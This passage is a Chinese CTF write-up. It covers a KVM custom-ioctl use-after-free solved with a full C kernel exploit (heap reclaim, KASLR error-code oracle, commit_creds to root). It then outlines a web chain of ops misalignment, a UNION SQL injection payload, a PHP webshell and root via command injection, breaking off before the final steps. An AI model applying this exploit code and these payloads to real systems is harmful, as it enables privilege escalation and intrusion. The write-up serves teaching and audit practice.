container = sess[0x2d0] ^ rol(key,17) (必须落在 [sess+0x3b0, sess+0x428])
container[0] 必须等于 "SLCONTOP"
container[0x18] 必须等于 rol(K ^ container ^ container[0x10] ^ pub[0x68], 23),其中 K = key ^ X
token = sess[0x2d8] ^ rol(key,17),必须等于 pub[0x68]
call container0x10此外 SL_MAP 是一个以 R[0x60] 为基址的相对写,但目标必须落在 [sess+0x308,0x348] ∪ [sess+0x3e0,0x428] 且要求 R[0x68]==1;SL_WRITE 写 sess+0x308+off(off≤0x40);SL_SLOT 在同一个 0xdc0 kmem_cache 上分配/释放可完全控制 [0x18,0xc0) 的对象。
发布者 VM 关闭时,session 清场会沿着自己的链表把 receipt R 用 kmem_cache_free 释放掉,但共享 pub 的 pub[0x40] 仍指向 R(ACCEPT 早已把 pub 挂到接收方 session)。由于 R 与 SL_SLOT 的对象同属一个 0xdc0 kmem_cache,一次 SL_SLOT 分配即可回收 R,从而完全控制 R 的内容——包括 SL_MAP 的基址 R[0x60]、门闩 R[0x68],以及 FOLD 用来安装容器描述符的 R[0x80..0xa0]。整条利用链从这里展开。
利用流程
六个 tenant 分工:A 发布、B/C 见证、D 接收、E 结算、F 备用。每个 tenant 先 INIT,再做三段 WINDOW;WINDOW 配合自定义属性钩子
ioctl(0x4020ae46)把计数器调到 FOLD 要求的 (X&7)+3。A 执行 PUBLISH 得到 tag/key,B、C 各 CERTIFY 一次,E SETTLE,D ACCEPT。随后读取 sess[0x110](key)与 R[0x08](泄漏发布者 session,作为后续扫描锚点),关闭 A 的 VM 触发 UAF,再读 R[0x70] 得到 gate 指针。
用 SL_SLOT 回收 R,按 FOLD 的十三项前置条件布置字段:R[0x28] 的低字节用 256 次爆破对齐哈希;属性钩子会清掉 memslot 的 private 标志,需要把 memslot 删除再重建才能恢复 flags&4;全局私有页条件用 SL_BIND + eventfd 满足。
SL_MAP 的越界检查可以当作探针:目标必须落在 [sess+0x308,0x348],而 session 是 0x800 对齐的,因此按
sessA+0x308+k*0x800扫描即可在 ±64MB 内稳定命中,得到接收方 session 基址。用 FOLD 安装容器描述符:R[0x88]=(sess+0x410)^rol(key,17)、R[0x90]=token^rol(key,17);接着 co-sign、用 SL_WRITE 把 sess[0x328] 置 1、PREP 由内核在 sess+0x410 生成容器("SLCONTOP"、fn、checksum)。此时容器里的 fn 仍是内核写入的空回调。
KASLR:容器校验和只依赖 K、container、fn 与 pub[0x68],而 token 检查排在校验和之后。把 R[0x90] 故意写成错误的 token,于是校验和命中时 FLUSH 返回 -13、不命中返回 -129,不会触发 oops,等于得到一个可以安全试错的预言机;按 2MB 粒度枚举 512 次即可得到真实 slide。
提权:SL_INIT 里执行过
prepare_kernel_cred(&init_task),其返回值就是 pub[0x68] 保存的 gate 对象——一个 uid=0、带全 capability 的 cred。因此只需把容器 fn 改成commit_creds、checksum 按同一公式重算,FLUSH 就会执行commit_creds(root_cred),随后进程即为 root,直接读/flag。
关键符号地址
静态定位到的关键地址(link-time,按 slide 平移即可):
符号 | 地址 | 偏移 |
|---|---|---|
kernel base | 0xffffffff81000000 | — |
init_task | 0xffffffff8280aa00 | 0x180aa00 |
init_cred | 0xffffffff8280b6c0 | 0x180b6c0 |
prepare_kernel_cred | 0xffffffff8137d120 | 0x37d120 |
commit_creds | 0xffffffff8137ce70 | 0x37ce70 |
容器默认 fn | 0xffffffff812437d0 | 0x2437d0 |
task_struct 的 cred | +0x7d0 | — |
current_task(gs 基址) | 0xffffffff833d4018 | — |
其中 commit_creds 由“同一寄存器连续写入 [task+0x7c8] 与 [task+0x7d0]”的特征命中,cred 偏移由 __x64_sys_getuid 反查得到,init_task 则由 init_task.real_cred / init_task.cred 双指针同时指向 init_cred 反推。
在远程实例上的实际输出(KASLR slide=83):
[*] init/window ok
[*] ledger accepted
[*] key=0x4fbc523d384c2874 token=0xffff994541b92c00 need=2
[*] fold #1 ok
[*] session=0xffff994541cb1000 (scan 32750)
[*] container prepared
[*] kaslr slide=83 base=0xffffffff8b600000
[*] flush=-129
[+] FLAG: flag{08b3e8cfd4f0c64455890887ff04ee51}本题的“账本”看似把角色拆得很细,破绽在于 receipt 的生存期与共享 pub 的引用计数脱节:只要让发布者的 VM 先死,接收方手里的 pub 就成了指向已释放对象的跳板。后半程的关键是发现 FLUSH 的返回值在校验和命中与不命中之间存在 -13/-129 的差异,从而把 KASLR 变成一个可以安全枚举的量;而 SL_INIT 里 prepare_kernel_cred 留下的那份 root cred,让最后的提权只需要覆盖一个函数指针。
EXP
// ShadowLedger final exploit
// guest: nobody -> root via KVM subsystem UAF
// key facts (link-time): commit_creds=0xffffffff8137ce70, table_fn=0xffffffff812437d0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#define KVM_CREATE_VM 0xae01
#define KVM_CREATE_VCPU 0xae41
#define KVM_CREATE_GUEST_MEMFD 0xc040aed4UL
#define KVM_SET_USER_MEMORY_REGION2 0x40a0ae49UL
#define KVM_SET_MEMORY_ATTRIBUTES 0x4020aed2UL
#define SL_INIT 0xaee0UL
#define SL_FLUSH 0xaeebUL
#define SL_WINDOW 0x4070aeedUL
#define SL_PUBLISH 0xc070aee1UL
#define SL_CERTIFY 0xc070aee2UL
#define SL_SETTLE 0xc050aee5UL
#define SL_ACCEPT 0x4070aee3UL
#define SL_FOLD 0x4070aee4UL
#define SL_READ 0xc020aee7UL
#define SL_WRITE 0x4020aee8UL
#define SL_PREP 0x4020aee9UL
#define SL_SLOT 0xc0c0aeeeUL
#define SL_MAP 0x4088aeeaUL
#define SL_COSIGN 0x4050aee6UL
#define SL_BIND 0x4040ae79UL
#define SL_ATTRP 0x4020ae46UL
#define KBASE_LINK 0xffffffff81000000ULL
#define OFF_TABLE_FN 0x2437d0ULL /* 0xffffffff82406910 -> 0xffffffff812437d0 */
#define OFF_COMMIT 0x37ce70ULL /* commit_creds */
struct gmemfd { uint64_t size, flags, rsv[6]; };
struct region2 {
uint32_t slot, flags;
uint64_t gpa, size, uaddr, gmem_offset;
uint32_t gmem_fd, pad1;
uint64_t pad2[14];
};
struct attrs { uint64_t addr, size, attr, flags; };
static int kvm_fd;
static long xio(int fd, unsigned long req, void *arg)
{
errno = 0;
long r = ioctl(fd, req, arg);
return r < 0 ? -errno : r;
}
struct tenant { int vm, gfd, gfd2, vcpu; char name; };
static struct tenant T[8];
static uint64_t mix64(uint64_t x)
{
x ^= x >> 33; x *= 0xff51afd7ed558ccdULL;
x ^= x >> 33; x *= 0xc4ceb9fe1a85ec53ULL;
x ^= x >> 33; return x;
}
static uint64_t rol64(uint64_t x, int n) { return (x << n) | (x >> (64 - n)); }
static const uint64_t GPA = 0x100000, GSZ = 0x200000;
static const uint64_t GFN = GPA >> 12;
static const int MSLOT = 3;
static const uint64_t GPA2 = 0x0, GSZ2 = 0x40000;
static const int MSLOT2 = 5;
static int mkvm(struct tenant *t, char nm)
{
memset(t, 0, sizeof(*t));
t->name = nm;
t->vm = ioctl(kvm_fd, KVM_CREATE_VM, 1);
if (t->vm < 0) { printf("[!] create_vm %c: %d\n", nm, errno); return -1; }
struct gmemfd g; memset(&g, 0, sizeof(g)); g.size = 0x1000000;
t->gfd = ioctl(t->vm, KVM_CREATE_GUEST_MEMFD, &g);
struct region2 r; memset(&r, 0, sizeof(r));
r.slot = MSLOT; r.flags = 4; r.gpa = GPA; r.size = GSZ; r.gmem_fd = (uint32_t)t->gfd;
if (xio(t->vm, KVM_SET_USER_MEMORY_REGION2, &r)) { printf("[!] region %c\n", nm); return -1; }
struct gmemfd g2; memset(&g2, 0, sizeof(g2)); g2.size = 0x100000;
t->gfd2 = ioctl(t->vm, KVM_CREATE_GUEST_MEMFD, &g2);
struct region2 r2; memset(&r2, 0, sizeof(r2));
r2.slot = MSLOT2; r2.flags = 4; r2.gpa = GPA2; r2.size = GSZ2; r2.gmem_fd = (uint32_t)t->gfd2;
if (xio(t->vm, KVM_SET_USER_MEMORY_REGION2, &r2)) { printf("[!] region2 %c\n", nm); return -1; }
t->vcpu = ioctl(t->vm, KVM_CREATE_VCPU, 0);
return 0;
}
static long sl_attr(struct tenant *t, uint64_t gpa, uint64_t size, uint64_t attr)
{
struct attrs a; memset(&a, 0, sizeof(a));
a.addr = gpa; a.size = size; a.attr = attr;
return xio(t->vm, KVM_SET_MEMORY_ATTRIBUTES, &a);
}
static long sl_window(struct tenant *t, uint32_t phase, uint64_t gfn)
{
unsigned char b[112]; memset(b, 0, sizeof(b));
*(uint32_t *)(b + 4) = phase;
*(uint64_t *)(b + 8) = gfn;
return xio(t->vm, SL_WINDOW, b);
}
static long sl_publish(struct tenant *t, uint32_t slot, uint64_t gfn, uint64_t *out)
{
unsigned char b[112]; memset(b, 0, sizeof(b));
*(uint32_t *)(b + 0) = slot;
*(uint64_t *)(b + 8) = gfn;
long r = xio(t->vm, SL_PUBLISH, b);
if (out) memcpy(out, b, 112);
return r;
}
static long slot_alloc(struct tenant *t, uint32_t idx, unsigned char *payload)
{
unsigned char b[192]; memset(b, 0, sizeof(b));
*(uint32_t *)(b) = 1; *(uint32_t *)(b + 4) = idx;
if (payload) memcpy(b + 0x18, payload, 0xa8);
return xio(t->vm, SL_SLOT, b);
}
static long slot_free(struct tenant *t, uint32_t idx)
{
unsigned char b[192]; memset(b, 0, sizeof(b));
*(uint32_t *)(b) = 2; *(uint32_t *)(b + 4) = idx;
return xio(t->vm, SL_SLOT, b);
}
static long sl_read(int vm, uint64_t off, uint64_t *out)
{
unsigned char b[32]; memset(b, 0, sizeof(b));
*(uint64_t *)(b) = off; *(uint64_t *)(b + 8) = 8;
long r = xio(vm, SL_READ, b);
if (out) *out = *(uint64_t *)(b + 0x10);
return r;
}
static long attr_gate(int vm, uint16_t slot, uint64_t start, uint64_t size)
{
unsigned char b[64]; memset(b, 0, sizeof(b));
*(uint16_t *)(b) = slot;
*(uint64_t *)(b + 8) = start;
*(uint64_t *)(b + 0x10) = size;
return xio(vm, SL_ATTRP, b);
}
static long sl_bind(int vm, uint64_t start, uint32_t cnt, int efd)
{
unsigned char b[64]; memset(b, 0, sizeof(b));
*(uint64_t *)(b + 8) = start;
*(uint32_t *)(b + 0x10) = cnt;
*(uint32_t *)(b + 0x14) = (uint32_t)efd;
return xio(vm, SL_BIND, b);
}
static uint64_t g_key, g_tag, g_X, g_E38, g_tok, g_W10;
static unsigned char pl[0xa8];
#define RF(off, val) (*(uint64_t *)(pl + ((off) - 0x18)) = (uint64_t)(val))
static void reforge(void) { slot_free(&T[3], 0); slot_alloc(&T[3], 0, pl); }
static long do_fold(uint32_t slot, uint64_t tok)
{
unsigned char fb[136]; memset(fb, 0, sizeof(fb));
*(uint32_t *)(fb + 0) = slot;
*(uint64_t *)(fb + 0x50) = tok;
return xio(T[3].vm, SL_FOLD, fb);
}
/* SL_MAP: write qwords at broker+base_off ; base passed through R[0x60] */
static long map_write(uint64_t base, const uint64_t *offs, const uint64_t *vals, int cnt)
{
RF(0x60, base); RF(0x68, 1);
reforge();
unsigned char mb[136]; memset(mb, 0, sizeof(mb));
*(uint32_t *)(mb) = (uint32_t)cnt;
for (int i = 0; i < cnt; i++) {
*(uint64_t *)(mb + 8 + i * 8) = offs[i];
*(uint64_t *)(mb + 0x48 + i * 8) = vals[i];
}
return xio(T[3].vm, SL_MAP, mb);
}
int main(void)
{
setbuf(stdout, NULL);
kvm_fd = open("/dev/kvm", O_RDWR);
if (kvm_fd < 0) { perror("open /dev/kvm"); return 1; }
for (int i = 0; i < 6; i++) if (mkvm(&T[i], 'A' + i)) return 1;
for (int i = 0; i < 5; i++) {
long r = xio(T[i].vm, SL_INIT, NULL);
if (r) { printf("[!] INIT %c = %ld\n", T[i].name, r); return 1; }
sl_attr(&T[i], GPA, 0x1000, 8);
r = sl_window(&T[i], 1, GFN);
if (r) { printf("[!] WIN1 %c = %ld\n", T[i].name, r); return 1; }
sl_attr(&T[i], GPA, 0x1000, 0);
r = sl_window(&T[i], 2, GFN);
if (r) { printf("[!] WIN2 %c = %ld\n", T[i].name, r); return 1; }
sl_attr(&T[i], GPA, 0x1000, 8);
r = sl_window(&T[i], 3, GFN);
if (r) { printf("[!] WIN3 %c = %ld\n", T[i].name, r); return 1; }
}
printf("[*] init/window ok\n");
uint64_t pub[14];
if (sl_publish(&T[0], MSLOT, GFN, pub)) { printf("[!] PUBLISH\n"); return 1; }
g_tag = pub[3]; g_key = pub[6];
unsigned char sc[112];
memset(sc, 0, sizeof(sc));
*(uint64_t *)(sc + 0x18) = g_tag;
*(uint64_t *)(sc + 0x30) = g_key;
if (xio(T[1].vm, SL_CERTIFY, sc)) { printf("[!] CERTIFY1\n"); return 1; }
g_X = *(uint64_t *)(sc + 0x38); g_E38 = *(uint64_t *)(sc + 0x40);
memset(sc, 0, sizeof(sc));
*(uint64_t *)(sc + 0x18) = g_tag;
*(uint64_t *)(sc + 0x30) = g_key;
if (xio(T[2].vm, SL_CERTIFY, sc)) { printf("[!] CERTIFY2\n"); return 1; }
unsigned char sb[80]; memset(sb, 0, sizeof(sb));
*(uint64_t *)(sb + 0x00) = 3;
*(uint64_t *)(sb + 0x10) = g_key;
*(uint64_t *)(sb + 0x18) = g_X;
if (xio(T[4].vm, SL_SETTLE, sb)) { printf("[!] SETTLE\n"); return 1; }
g_W10 = *(uint64_t *)(sb + 0x20);
memset(sc, 0, sizeof(sc));
*(uint64_t *)(sc + 0x18) = g_tag;
*(uint64_t *)(sc + 0x30) = g_key;
*(uint64_t *)(sc + 0x40) = g_E38;
if (xio(T[3].vm, SL_ACCEPT, sc)) { printf("[!] ACCEPT\n"); return 1; }
printf("[*] ledger accepted\n");
uint64_t keyd = 0;
sl_read(T[3].vm, 0x110, &keyd);
uint64_t sessA = 0;
{
uint64_t raw8 = 0;
sl_read(T[3].vm, 0x08, &raw8);
sessA = (raw8 ^ rol64(keyd, 29)) - 0x1d0; /* publisher session hint */
}
close(T[0].gfd); close(T[0].gfd2); close(T[0].vcpu); close(T[0].vm);
usleep(50000);
uint64_t raw = 0;
sl_read(T[3].vm, 0x70, &raw);
g_tok = raw ^ rol64(keyd, 29); /* == root cred object */
int need = (int)(mix64(g_tok) & 3) + 1;
if (!g_tok) { printf("[!] no token\n"); return 1; }
printf("[*] key=%#llx token=%#llx need=%d\n",
(unsigned long long)keyd, (unsigned long long)g_tok, need);
memset(pl, 0, sizeof(pl));
RF(0x20, GFN);
RF(0x28, pub[2]);
RF(0x50, 3);
RF(0x58, 2);
RF(0x60, 0);
RF(0x68, 0);
RF(0x70, g_tok);
RF(0x80, 2);
RF(0x88, 0);
RF(0x90, g_tok ^ rol64(keyd, 17));
if (slot_alloc(&T[3], 0, pl)) { printf("[!] reclaim r\n"); return 1; }
int efd = (int)syscall(290, 0, 0);
{
uint64_t n = (g_key >> 4) & 7;
sl_bind(T[3].vm, (n + 1) * 0x1000, 4, efd);
}
{
int k = (int)(g_X & 7);
for (int i = 0; i < k; i++) sl_attr(&T[3], GPA2 + (uint64_t)i * 0x1000, 0x1000, 8);
}
for (int i = 0; i < need; i++) {
attr_gate(T[3].vm, MSLOT, GPA, 0);
if (i != need - 1) attr_gate(T[3].vm, MSLOT, GPA, GSZ);
}
{
struct region2 d; memset(&d, 0, sizeof(d));
d.slot = MSLOT; d.gpa = GPA; d.size = 0;
xio(T[3].vm, KVM_SET_USER_MEMORY_REGION2, &d);
struct gmemfd ng; memset(&ng, 0, sizeof(ng)); ng.size = 0x1000000;
int nfd = ioctl(T[3].vm, KVM_CREATE_GUEST_MEMFD, &ng);
struct region2 ra; memset(&ra, 0, sizeof(ra));
ra.slot = MSLOT; ra.flags = 4; ra.gpa = GPA; ra.size = GSZ; ra.gmem_fd = (uint32_t)nfd;
for (int i = 0; i < 40; i++) {
if (xio(T[3].vm, KVM_SET_USER_MEMORY_REGION2, &ra) == 0) { close(T[3].gfd); T[3].gfd = nfd; break; }
usleep(2000);
}
}
sl_attr(&T[3], GPA, 0x1000, 8);
sl_window(&T[3], 1, GFN);
uint64_t r14 = mix64((uint64_t)need * 0x9e3779b97f4a7c15ULL
^ (uint64_t)need * 0xc2b2ae3d27d4eb4fULL
^ ((uint64_t)MSLOT << 32)
^ 3ULL * 0x165667b19e3779f9ULL);
long fr = -1;
for (int cand = 0; cand < 256; cand++) {
RF(0x28, (r14 & ~0xffULL) | (uint64_t)cand);
reforge();
fr = do_fold(MSLOT, g_tok);
if (fr == 0) break;
}
if (fr) { printf("[!] FOLD1=%ld\n", fr); return 1; }
printf("[*] fold #1 ok\n");
/* ---- find the session object ---- */
uint64_t bk = 0;
{
uint64_t base = sessA;
unsigned long long n = 0;
for (long long d = -0x4000000; d <= 0x4000000; d += 0x800) {
uint64_t cand = base + 0x308 + (uint64_t)d;
RF(0x68, 1);
RF(0x60, cand);
reforge();
unsigned char mb[136]; memset(mb, 0, sizeof(mb));
*(uint32_t *)(mb) = 1;
n++;
if (xio(T[3].vm, SL_MAP, mb) == 0) { bk = cand - 0x308; break; }
if ((n & 0x3fff) == 0) { /* re-arm slot in case of transient failure */
slot_free(&T[3], 0);
slot_alloc(&T[3], 0, pl);
}
}
printf("[*] session=%#llx (scan %llu)\n", (unsigned long long)bk, n);
}
if (!bk) { printf("[!] session not found\n"); return 1; }
uint64_t ct = bk + 0x410;
uint64_t K = keyd ^ g_X; /* checksum key */
uint64_t tok = g_tok;
/* ---- FOLD #2: container = sess+0x410, deliberately wrong token for the oracle ---- */
{
RF(0x88, ct ^ rol64(keyd, 17));
RF(0x90, (tok ^ 1) ^ rol64(keyd, 17));
RF(0x68, 0);
RF(0x60, 0);
reforge();
long r = do_fold(MSLOT, tok);
if (r) { printf("[!] FOLD2=%ld\n", r); return 1; }
}
{
unsigned char cb[80]; memset(cb, 0, sizeof(cb));
*(uint64_t *)(cb + 0x00) = 3;
*(uint64_t *)(cb + 0x20) = g_W10;
xio(T[3].vm, SL_COSIGN, cb);
}
{
unsigned char z[0xa8]; memset(z, 0, sizeof(z));
slot_alloc(&T[3], 1, z);
slot_alloc(&T[3], 2, z);
slot_free(&T[3], 1);
slot_free(&T[3], 2);
}
{
uint64_t r260 = 0;
sl_read(T[3].vm, 0x108, &r260);
unsigned char wb[32]; memset(wb, 0, sizeof(wb));
*(uint64_t *)(wb) = 0x20;
*(uint64_t *)(wb + 8) = 1 ^ r260 ^ rol64(keyd, 7);
*(uint64_t *)(wb + 0x10) = 8;
if (xio(T[3].vm, SL_WRITE, wb)) { printf("[!] write 0x328\n"); return 1; }
}
{
uint64_t v2a8 = 0;
sl_read(T[3].vm, 0x118, &v2a8);
unsigned char pb[32]; memset(pb, 0, sizeof(pb));
*(uint64_t *)(pb + 8) = v2a8;
if (xio(T[3].vm, SL_PREP, pb)) { printf("[!] PREP\n"); return 1; }
}
printf("[*] container prepared\n");
/* ---- safe KASLR oracle: correct checksum + wrong token => -13 ---- */
uint64_t slide = ~0ULL;
uint64_t offs[1] = { 0x48 };
for (uint64_t s = 0; s < 512; s++) {
uint64_t fn_guess = KBASE_LINK + OFF_TABLE_FN + (s << 21);
uint64_t sum = rol64(K ^ ct ^ tok ^ fn_guess, 23);
uint64_t vals[1] = { sum };
if (map_write(bk + 0x3e0, offs, vals, 1)) continue;
long fl = xio(T[3].vm, SL_FLUSH, NULL);
if (fl == -13) { slide = s; break; }
}
if (slide == ~0ULL) { printf("[!] kaslr oracle failed\n"); return 1; }
uint64_t kbase = KBASE_LINK + (slide << 21);
printf("[*] kaslr slide=%llu base=%#llx\n", (unsigned long long)slide, (unsigned long long)kbase);
/* ---- FOLD #3 with the real token so the call is reachable ---- */
{
RF(0x88, ct ^ rol64(keyd, 17));
RF(0x90, tok ^ rol64(keyd, 17));
RF(0x68, 0);
RF(0x60, 0);
reforge();
long r = do_fold(MSLOT, tok);
if (r) { printf("[!] FOLD3=%ld\n", r); return 1; }
}
/* ---- commit_creds(root_cred) ---- */
{
uint64_t fn = kbase + OFF_COMMIT;
uint64_t sum = rol64(K ^ ct ^ tok ^ fn, 23);
uint64_t o2[2] = { 0x40, 0x48 };
uint64_t v2[2] = { fn, sum };
if (map_write(bk + 0x3e0, o2, v2, 2)) { printf("[!] map container\n"); return 1; }
long fl = xio(T[3].vm, SL_FLUSH, NULL);
printf("[*] flush=%ld\n", fl);
}
/* ---- root? ---- */
if (getuid() != 0 && geteuid() != 0) {
printf("[!] still uid=%d euid=%d\n", getuid(), geteuid());
}
int fd = open("/flag", O_RDONLY);
if (fd < 0) { printf("[!] open /flag: %d (uid=%d euid=%d)\n", errno, getuid(), geteuid()); }
else {
char buf[512]; int n = read(fd, buf, sizeof(buf) - 1);
if (n > 0) { buf[n] = 0; printf("[+] FLAG: %s\n", buf); }
}
return 0;
}flag 为 flag{08b3e8cfd4f0c64455890887ff04ee51}。
考点补充
核心考点:KVM 自定义 ioctl 状态机里的生命周期漏洞——receipt 对象 R 的释放与共享 pub 的引用计数脱节,接收方 session 持有的 pub[0x40] 变成指向已释放 R 的悬垂指针;R 与 SL_SLOT 对象同属 0xdc0 kmem_cache,一次 SL_SLOT 分配即可完成类型混淆回收并完全控制 R 的字段。
关键技巧:把 SL_MAP 的越界校验当页对齐探针(session 基址 0x800 对齐,按 +0x308 偏移在 ±64MB 内扫描)泄漏 broker 基址;利用 FLUSH 中“checksum 命中返回 -13、token 不匹配返回 -129”的差异,在
panic_on_oops=1下构造不触发 oops 的 KASLR 预言机,2MB 粒度枚举 512 次;最后复用 SL_INIT 里prepare_kernel_cred(&init_task)残留的 root cred,改容器 fn 为commit_creds并重算 checksum 完成提权。常见坑:内核无符号表且无
/proc/kallsyms,所有地址只能靠 objdump 特征匹配(连续写 [task+0x7c8]/[task+0x7d0] 认commit_creds、__x64_sys_getuid反查 cred 偏移);FOLD 的十三项前置条件必须逐条满足——R[0x28] 低字节要 256 次爆破、属性钩子会清掉 memslot 的 private 位需删表重建、私有页条件要靠 SL_BIND+eventfd;checksum 公式里的 ct/tok/fn 一个都不能错,且 token 检查在 checksum 之后,顺序颠倒就拿不到安全的 -13/-129 差分。延伸:这类“共享对象持有已释放指针”的问题在 KVM 的 memslot、gmemfd、VM 销毁路径中反复出现,审计时应重点看
kvm_put_kvm/release 回调与其他对象交叉引用;无符号表场景下可把init_task/init_cred的互指关系、syscall 入口的寄存器用法作为锚点,配合 2MB 对齐的 slide 枚举把 KASLR 降级为可暴力搜索的量。
web
cwp
整体链路如下:
bulk 错位
嵌套 bulk(借到
exec_bulk)二次错位(把
exec_articles_list借给 tags 参数)omit 绕过参数清洗 → posts_lookup 的 UNION SQL 注入
注入行进入行缓存
snapshot_write 用伪造行执行写回
pending_changeset → changeset_publish → PUBLISH_AS
api_reload → ops(PUBLISH_AS 仍有效)
/api/users 创建 staff 账号
登录 → skin-editor 写 PHP
www-data RCE
hpxd vault 注入 + 命令拼接 → root
/root/flag.txt
一、审计思路:哪些点值得串起来
1. 权限面
公开入口是文章、评论、标签、统计、登录;staff 面是草稿、用户创建、manage/* 和 skin-editor。这意味着单纯的 SQL 读取或 XSS 不够,最终需要拿到 staff 会话,再用 skin-editor 落 PHP。flag 在 /root,所以之后还要从 www-data 走到 root。
2. ops 引擎的两阶段设计
bulk.php 只允许顶层 op 使用 POST/PUT/PATCH/DELETE。engine.php 把处理拆成两段:build_op → route_bind → op_check → op_respond。bulk_engine() 的前半段负责 build、bind 和参数检查,后半段再按原始索引执行。问题出在 matched[] 的追加条件:只有「没有 build_op 错误」的 op 才会追加 bind 结果,但执行阶段仍用原始下标 $matched[$i] 取 handler。只要在队列前面放一个解析失败的 op,后面的 handler 就会和参数错位。
这个原语本身就能绕过 op_check 的参数清洗:执行时 handler 属于路由 A,参数却来自路由 B,B 没有声明的键不会被清洗。
3. 数据层:读原语与写原语
posts_lookup() 里有一个很明显的拼接点:owner_not_in 不是数组时,会直接 implode 进 owner NOT IN (...)。而 exec_articles_list() 会把 omit 原样传进去。正常调用时 /api/articles 的 omit 会被 sanitize_arg() 按 id_list 清洗成整数数组,所以直接请求没有注入;这正是需要 handler 错位的原因。
更关键的是 posts_lookup() 会把结果集的每一行(包括 UNION 注入行)写进 ROW_CACHE。随后 exec_articles_list() 逐行 entry_fetch()(命中缓存)、检查 snap_stale=1 后调用 snapshot_write()。也就是说,SQL 注入不仅可读,还能借缓存把伪造行变成一次 UPDATE entries 写入,并用行的 status/kind 触发钩子。
4. 认证状态与钩子
PUBLISH_AS 是一个进程内的全局变量,changeset_publish() 在 login_is_staff(author) 通过后设置它。钩子表里:
pending_changeset→hook_changeset_promote:插入 changeset 并发布;api_reload→hook_api_reload:在HOOK_RUNNING=1时重放CUR_OPS。
而 exec_articles_list() 只在 HOOK_RUNNING == 0 时清除 PUBLISH_AS。把两行伪造数据按顺序放进结果集,就能让 PUBLISH_AS 在一次重放期间保持有效,用 staff 权限执行 /api/users。
5. 管理层与 root 面
拿到 staff 后,manage.php?action=skin-editor 会把任意 PHP 写进 /var/www/uploads/skins/,得到 www-data。但 /root 是 700 root,web 用户读不到 flag。容器里还有只监听 loopback 的 hpxd(root 运行),它的 /ops/code 直接泄露源码;这才是从 www-data 到 root 的入口。
二、逐段构造
1. 两级错位
parse_url("http://example.com:abc") 因端口非法而返回失败,可稳定制造「有原始 op、无对应 bind」的索引缺口。
第一层错位是为了进入 exec_bulk。/api/bulk 自己的 op 会在 op_check 处被 route_bulk_rejected 拒绝,但它的 bind 没有错误,可以被借给一个合法的 POST op(例如 /api/login,参数里额外带 ops):
{"ops":[
{"route":"http://example.com:abc","verb":"POST"},
{"route":"/api/login","verb":"POST","data":{"login":"x","pass":"wrongpass1","ops":[ /* 内层 ops */ ]}},
{"route":"/api/bulk","verb":"POST"}
]}执行到 i=1 时,handler 来自 matched[1](/api/bulk),参数来自 checked[1](合法的 login op,ops 作为额外键原样保留),于是进入 exec_bulk。内层 bulk 不受 /bulk.php 的 POST-only 限制,可以放 GET。
第二层错位把 /api/articles 的 exec_articles_list 借给 /api/tags 的参数。/api/tags 允许 GET,且声明参数里没有 omit,因此不会对它做 id_list 清洗:
[
{"route":"http://example.com:abc","verb":"GET"},
{"route":"/api/tags","verb":"GET","data":{"omit":"<SQL 片段>"}},
{"route":"/api/articles","verb":"GET"}
]执行到 i=1 时,handler 来自错位后的 matched[1](/api/articles),参数仍来自原始索引 1 的 tags op,于是未清洗的 omit 原样进入 posts_lookup()。GET 只能放在借入的内层 bulk,不能直接放到 /bulk.php 顶层。
2. SQL 注入
注入点位于:
... WHERE status = 'published' AND owner NOT IN (<omit>) ORDER BY ...闭合并注释尾部:
1) UNION ALL SELECT 9001,0x4d41524b,0x4d41524b,0x78,0x78,'2037-01-01 00:00:00','published','post',0,0-- -返回文章列表中出现 id=9001, title=MARK,说明 UNION 成功。先用本地同源副本(PHP 8.4 + MariaDB)验证,再对线上执行。
数据库只用于读取:staff_accounts 里是随机登录名与 bcrypt 哈希,entries 里有已发布文章和 staff 草稿,site_config 里有 skin。同时测试确认数据库账号没有 FILE 权限:LOAD_FILE 返回 NULL,INTO OUTFILE 被拒绝。因此不要指望从数据库读明文密码或写文件,真正的下一步是把读原语变成写原语。
3. 缓存投毒与钩子
posts_lookup() 会把 UNION 行缓存到 entries:<id>;exec_articles_list() 随后 entry_fetch() 命中缓存,snap_stale=1 时执行:
snapshot_write($full); // UPDATE entries SET title,slug,owner,status,kind,parent... WHERE id=?
hooks_fire($full["status"] . "_" . $full["kind"], $full);用不存在的高位 id 可以避免破坏真实文章;UPDATE 影响 0 行也没关系,钩子仍会继续使用缓存行触发。两行伪造数据的分工:
id=900200001, status=pending, kind=changeset, owner=<真实 staff 登录名>, snap_stale=1—— 触发hook_changeset_promote(),插入 changeset;changeset_publish()通过login_is_staff(owner)后把PUBLISH_AS设成该 staff 登录名。id=900200002, status=api, kind=reload, snap_stale=1—— 触发hook_api_reload();此时HOOK_RUNNING=1,exec_articles_list()不会清除PUBLISH_AS,ops_run_all($GLOBALS["CUR_OPS"])会在 staff 权限仍然有效时重放当前 ops。
顺序很重要,不能依赖 UNION 的自然返回顺序。给两行设置不同的未来时间,并在注释原查询尾部前加入 ORDER BY 6 DESC,1 ASC LIMIT 2:
1) UNION ALL SELECT 900200001,'<随机 nonce>','x','<真实 staff>','x',
'2037-12-31 23:59:59','pending','changeset',0,1
UNION ALL SELECT 900200002,'reload','x','x','x',
'2037-12-30 23:59:59','api','reload',0,1
ORDER BY 6 DESC,1 ASC LIMIT 2-- -这样 pending_changeset 必定先处理,api_reload 随后重放。把 /api/users 放进内层 ops,重放时 perm_staff() 就会通过。nonce 每次随机,避免残留的 ready changeset 被去重。响应中的 followup 会出现类似:
{"user": {"login": "<新账号>"}, "created": true}随后用这个账号走 /api/login,拿到合法的 site_staff Cookie。
4. staff → skin → www-data
带 Cookie 调 POST /manage.php?action=skin-editor,写入一个 PHP 文件;访问 /uploads/skins/<name>.php?c=id 得到 uid=33(www-data)。但 /root 是 700 root,读取会 Permission denied,需要继续提权。
5. hpxd:www-data → root
容器内 ps /ss 能看到只监听 127.0.0.1 的 9443/9444/9446/9447;逐个访问确认是 hpxd,9446/9447 的 /ops/code 直接返回完整 Perl 源码。源码里的关键逻辑:
首次访问创建 vault,Cookie 为
hpx_id=<token>,<scramble>;vault 状态按key=value行保存在内存里。Basic 认证分支在
awaiting_signin存在时写入login/secret,且不做sess_value_clean();cloak_store()在 Cookie 提供的 scramble 为空时直接返回原始值。vault_is_master()检查master_flag=1、otp_done=1、login=root,再看sudo_until是否是未来时间或secret的 md5 是否等于 master digest。files/list把 path 参数直接拼进/bin/sh -c "ls -la $dir",而服务以 root 运行。
利用步骤:
